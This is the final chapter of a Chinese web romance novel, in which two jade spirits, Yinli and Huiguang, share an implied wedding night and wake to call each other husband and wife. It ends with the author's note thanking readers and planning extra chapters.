从银梨与他初识时的情况来看,他作为活物的欲望非常淡薄,对食物、娱乐都没有太多兴致,同时,当然也天然没有与繁衍相关的人欲。 要是银梨没有告诉他这件事的话,他大概一点不会有这方面的欲望。 回光很有仪式感,银梨很清楚,只要是其他人有的,或者银梨想要的,回光就觉得一定要有。 不过这件事,银梨觉得他真没必要特别勉强自己。 银梨甚至觉得,是不是因为最初是她告诉回光,她从这件事上看出了回光和常人的区别,回光才会对此格外执念。 正在混乱间,回光却捧住了银梨的脸。 “为什么?” 他疑惑地问。 “想要让你和我在一起的时候觉得舒服,是没有必要的事吗?” 银梨支支吾吾。 回光在这方面很是直接。 他声音逐渐沙哑,俯在在银梨耳边,哀求似的道:“我好想和你在一起,想和你靠得比所有人更近,好想让你和我在一起的时候也开心。 “我不懂你在考虑什么,但现在这样感觉真好,仿佛和你回到了我们最初的样子。 “我不知道该怎么做,但我希望你能和我有同样的感觉。如果你开心的话,我也会开心。” 银梨面红耳赤。 她听到回光在她耳边低语:“让我读你的想法好不好?我想继续,想知道你的感觉。就今晚,就再读一会儿……” 回光的声音,几乎是在哄她。 银梨怀疑自己在胡乱之间点了头。 回光明显有了喜悦的情绪。 回光覆上来,吻她,扣住她的手…… ………… …… 实在是荒唐的夜晚。 回光终于有机会展示他学到的种种知识。 一整晚的辗转起伏。 两人在历经这么久的时光后,仿佛又回到了他们最初还是一块玉石时的状态,同心同体,合二为一。 次日醒来,银梨还依偎着回光的胸口,红帐之下,光线昏朦朦的。 银梨转过头来,便见他一直注视着自己,目光幽幽。 不出意料的话,回光大概整晚没睡。 就像他食欲寡淡一样,回光这个人,有着鬼怪般的习性,不怎么需要睡觉。 银梨想到昨夜,还是想要捂脸。 回光却轻轻扣住她的手,将她的面容暴露出来:“为什么要遮脸,我想好好看你。” 回光直率的目光,让银梨觉得自己的一切无所遁形。 回光沉醉地贴着她,道:“……你好漂亮。” “……” 银梨结巴半晌,好不容易才找到自己的声音:“……你不会害羞的吗?” “为什么要害羞?” 回光坦然地回答。 “想要和你在一起,是一种本能。” 他们是天生一体的玉灵,一旦体验过靠近的感觉,就会愈发互相吸引,直到不可分离。 回光像是发现了新世界一般,很是新奇地道:“原来想要和你合二为一,还有这样的办法……” 银梨耳朵塌了下来。 回光低头问她:“你不会这样想吗?” “我……” 银梨做不到回光这般坦白。 不过,在内心深处,她其实也不是没有感受到回光描述的那种感觉。 他们彼此吸引,只要贴近,就想一直那样黏在一起,永不分开。 要是回光说出了口,她其实也很难克制自己,不去毫无底线地纵容他的心意。 银梨埋在回光胸口蹭蹭,半晌,她才低声地回答:“会的。其实……我也有同样的感觉。” …… 腻歪了一会儿。 等平静下来,银梨凑过去,亲了亲他。 “回光……” 银梨唤他的名字。 但想了想,她又改口:“不对,从今往后,你真是我的夫君了。” 银梨笑起来,唤道:“夫君。” “……夫人。” 回光回过神来,同样唤她。 两人彼此凝视,望进对方眼中。 不必言语,便知心意。 红绡帐暖,喜烛燃尽,两道人影,重新归到一处。 繁华三千,不如一隅清欢。 此间欢喜,便胜却人间无数- 尾声后·完—— 作者有话说:这下正文真写完了,感谢大家的阅读。【鞠躬 这一章有点半正文半番外,所以采用这种形式,多花了一章来写。 这篇文整体结构比较简单,以感情为重心,所以两个主角基本上都是全文在线的,相应的,能展开的旁枝末节比较少,篇幅相对短一点,不过算起来还是连载了快两个月,非常感谢阅读到这里的读者。 尤其有些读者连载早期就在看了,我知道这年头大家都喜欢看完结文,追连载确实也是一件比较吃力的事,特别感谢大家的陪伴,让我连载的过程没有太寂寞。=3= 番外计划是写一些婚后的小故事,撒撒糖,还有我看之前的评论,有宝子说想看三小只一起长大的if线,我到时想一想,有灵感就写。 这个月只差一天了,我想把全勤拿了,所以明天还会更一章番外,不过不一定就是上午十点了,可能会下午或者晚上吧,写完了就发。 下个月就要先休息几天了,不会日更,计划是三月上半月把番外全部写完。番外的连贯性不会特别强,应该不会让大家没看完就很难受的。 最后,再次感谢大家,爱你萌。^3^《 》